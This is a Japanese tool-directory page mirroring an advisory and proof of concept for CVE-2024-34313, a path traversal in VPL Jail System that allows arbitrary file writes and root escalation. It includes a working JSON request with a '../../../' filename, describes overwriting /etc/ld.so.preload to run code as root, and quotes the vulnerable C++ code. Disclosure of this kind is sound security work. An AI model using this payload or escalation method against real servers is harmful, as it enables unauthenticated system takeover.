Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2024-34313 — ☣️ このリポジトリには、CVE-2024-34313の説明と概念実証が含まれています | Kitploit
ツール/GitHubGitHub/vincentscode/cve-2024-34313
特権昇格脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育
GitHubvincentscode/cve-2024-34313

CVE-2024-34313

☣️ このリポジトリには、CVE-2024-34313の説明と概念実証が含まれています

リポジトリを見る
22年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
ウェブサイト

CVE-2024-34313

Product CWE CWE

説明

VPL Jail System v4.0.2以前 に、パストラバーサル 脆弱性が発見されました。これにより任意のファイルを上書きでき、結果としてrootユーザーへの権限昇格が可能になります。

この脆弱性は CVE-2024-34312 と連鎖させることで、事前認証なしでリモートからMoodleインスタンスを乗っ取ることができます。

追加の詳細

jailサーバーは、サンドボックス環境で信頼できないコードを非特権ユーザーとして実行するC++サーバーです。指定されたポートで着信接続を待機し、接続ごとに新しいプロセスを生成します。 jail.cpp の commandUpdate 関数は、クライアントからファイル名とその内容のマップを受け取ります。 ProcessMonitor::writeFile は、ファイル名とその内容を引数に呼び出され、単にjailユーザーのホームディレクトリとファイル名を連結してフルパスを生成します。 その後、Util::writeFile を使用してファイルがファイルシステムに書き込まれます。 これにより、攻撃者はパストラバーサルを利用して任意のファイルをファイルシステムに書き込むことができます。

エクスプロイト

この脆弱性を利用すると、攻撃者は /etc/ld.so.preload を共有オブジェクトファイルのパスで上書きでき、その共有オブジェクトはシステム上のすべての動的リンク実行ファイルによってロードされます(詳細はこちら)。この共有オブジェクトファイルを使用して、リバースシェルの起動など、rootとして任意のコードを実行できます。エクスプロイトを容易にするため、setuidバイナリが実行されるたびに共有オブジェクトファイルもロードされ、サーバーへのリクエストにsudoなどのsetuidバイナリを実行しようとするスクリプトを含めることで、共有オブジェクトファイルが即座にロードされるようになります。

jailシステムのデフォルト設定では、攻撃者は認証を必要としません。

システムのルートに "hello-world.txt" を書き込むペイロードの例は次のとおりです。

root@kitploit:~
{
    "method": "request",
    "params": {
        "filestodelete": [],
        "files": {
            "../../../hello-world.txt": "Hello, world!"
        },
        "fileencoding": {
            "../../../hello-world.txt": 0
        },
        "adminticket": "82350372182271",
        "pluginversion": 2021061600,
    },
    "id": "3-32354-684945600",
}

adminticket は、jailシステムに認証なしでリクエストを送信することで簡単に取得できます。その名前に反して、これは単なるセッショントークンの一種です。Base64エンコードされたバイナリファイルは、fileencoding を 1 に設定することでアップロードできます。

以下に脆弱なコードスニペットを示します。

root@kitploit:~
bool Jail::commandUpdate(string adminticket, RPC &rpc){
	processMonitor pm(adminticket);
	try {
		mapstruct files = rpc.getFiles();
		Logger::log(LOG_INFO,"parse files %lu", (long unsigned int)files.size());
		mapstruct fileencoding = rpc.getFileEncoding();
		//Save files to execution dir and options, decode data if needed
		for(mapstruct::iterator i = files.begin(); i != files.end(); i++){
			string name = i->first;
			string data = i->second->getString();
			if ( fileencoding.find(name) != fileencoding.end()
					&& fileencoding[name]->getInt() == 1 ) {
				Logger::log(LOG_INFO, "Decoding file %s from b64", name.c_str());
				data = Base64::decode(data);
				if ( name.length() > 4 && name.substr(name.length() - 4, 4) == ".b64") {
					name = name.substr(0, name.length() - 4);
				}
			}
			Logger::log(LOG_INFO, "Write file %s data size %lu", name.c_str(), (long unsigned int)data.size());
			pm.writeFile(name, data);
		}
		return true;
	}
	catch(...){
        // ...
	}
	return false;
}

void processMonitor::writeFile(string name, const string &data) {
	string homePath = getHomePath();
	string fullName = homePath + "/" + name;
	bool isScript = name.size()>4 && name.substr(name.size()-3) == ".sh";
	if (isScript) { //Endline converted to linux
		string newdata;
		for (size_t i = 0; i < data.size(); i++) {
			if (data[i] != '\r') {
				newdata += data[i];
			} else {
				char p = ' ', n = ' ';
				if (i > 0) p = data[i-1];
				if (i + 1 < data.size()) n = data[i + 1];
				if (p != '\n' && n != '\n') newdata += '\n';
			}
		}
		Util::writeFile(fullName, newdata, getPrisonerID(), homePath.size() + 1);
	}else{
		Util::writeFile(fullName, data, getPrisonerID(), homePath.size() + 1);
	}
}

static void Util::writeFile(string name, const string &data,uid_t user = 0,size_t pos = 0){
    FILE *fd=fopen(name.c_str(),"wb");
    if (fd == NULL) {
        string dir = getDir(name);
        Logger::log(LOG_DEBUG,"path '%s' dir '%s'",name.c_str(), dir.c_str());
        if (dir.size())
            createDir(dir,user,pos);
        fd = fopen(name.c_str(),"wb");
        if (fd == NULL)
            throw HttpException(internalServerErrorCode
                    ,"I can't write file");
    }
    if (data.size() > 0 && fwrite(data.data(), data.size(), 1, fd) != 1) {
        fclose(fd);
        throw HttpException(internalServerErrorCode
                ,"I can't write to file");
    }
    fclose(fd);
    if (lchown(name.c_str(),user,user))
        Logger::log(LOG_ERR, "Can't change file owner %m");
    bool isScript = name.size() > 4 && name.substr(name.size() - 3) == ".sh";
    if (chmod(name.c_str(), isScript ? 0700 : 0600))
        Logger::log(LOG_ERR, "Can't change file perm %m");
}

参考文献

  • CVEレコード: https://www.cve.org/CVERecord?id=CVE-2024-34313
  • ベンダーURL: https://vpl.dis.ulpgc.es/
  • 修正リリース: https://github.com/jcrodriguez-dis/vpl-jail-system/releases/tag/V4.0.3
  • CWE: https://cwe.mitre.org/data/definitions/22.html, https://cwe.mitre.org/data/definitions/284.html
ツールをダウンロード